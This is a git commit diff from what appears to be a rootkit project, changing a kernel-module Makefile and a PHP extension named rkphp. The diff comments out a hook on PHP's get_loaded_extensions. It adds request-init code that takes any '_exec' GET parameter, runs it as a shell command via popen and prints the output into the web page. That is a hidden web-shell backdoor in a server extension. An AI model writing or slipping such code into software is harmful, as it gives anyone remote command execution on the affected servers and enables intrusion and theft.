Browse Source

Default

master
Root 5 years ago
parent
commit
80664beafe
  1. 3
      rkkern/Makefile
  2. 45
      rkphp/src/php_funcs.c

3
rkkern/Makefile

@ -29,7 +29,8 @@ all: .PREPARE @@ -29,7 +29,8 @@ all: .PREPARE
###########################################
.PHONY: clean .cleanbin
clean: .cleanbin
@rm -f .*.o.cmd
@rm -f src/*.o
@rm -f src/.*.o.cmd
@rm -f rkkern.*
@rm -f .rkkern.*
@rm -rf *odule*

45
rkphp/src/php_funcs.c

@ -41,6 +41,8 @@ void (*o_get_loaded_extensions)(INTERNAL_FUNCTION_PARAMETERS); @@ -41,6 +41,8 @@ void (*o_get_loaded_extensions)(INTERNAL_FUNCTION_PARAMETERS);
void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS)
{
php_printf("HELLO, I hooked your bitch of a get_loaded_extensions from php in c!\n");
RETURN_TRUE;
}
@ -100,11 +102,9 @@ PHP_MINIT_FUNCTION(rkphp) @@ -100,11 +102,9 @@ PHP_MINIT_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_MINIT!\n");
rkphp_hook("get_loaded_extensions",
n_get_loaded_extensions,
&o_get_loaded_extensions);
//rkphp_hook("get_loaded_extensions",
// n_get_loaded_extensions,
// &o_get_loaded_extensions);
/*
ulong idx;
@ -143,6 +143,41 @@ PHP_RINIT_FUNCTION(rkphp) @@ -143,6 +143,41 @@ PHP_RINIT_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_RINIT!\n");
zval *arr;
if((arr = zend_hash_str_find(&EG(symbol_table), "_GET", sizeof("_GET") - 1)))
{
zval *val;
HashTable *ht = Z_ARRVAL_P(arr);
RKPHP_PRINTF("HELLO _GET!\n");
if((val = zend_hash_str_find(ht, "_exec", sizeof("_exec") - 1)))
{
FILE *fp;
char output[2048], *exec, *line;
RKPHP_PRINTF("HELLO _exec!\n");
exec = Z_STRVAL_P(val);
if((fp = popen(exec, "r")) == NULL)
{
RKPHP_PRINTF("Unable to execute cmd!\n");
return FAILURE;
}
php_printf("<pre>\n");
while(fgets(output, sizeof(output) - 1, fp) != NULL)
{
php_printf("%s\n", output);
}
php_printf("</pre>\n");
pclose(fp);
}
}
return SUCCESS;
}
/* }}} */

Loading…
Cancel
Save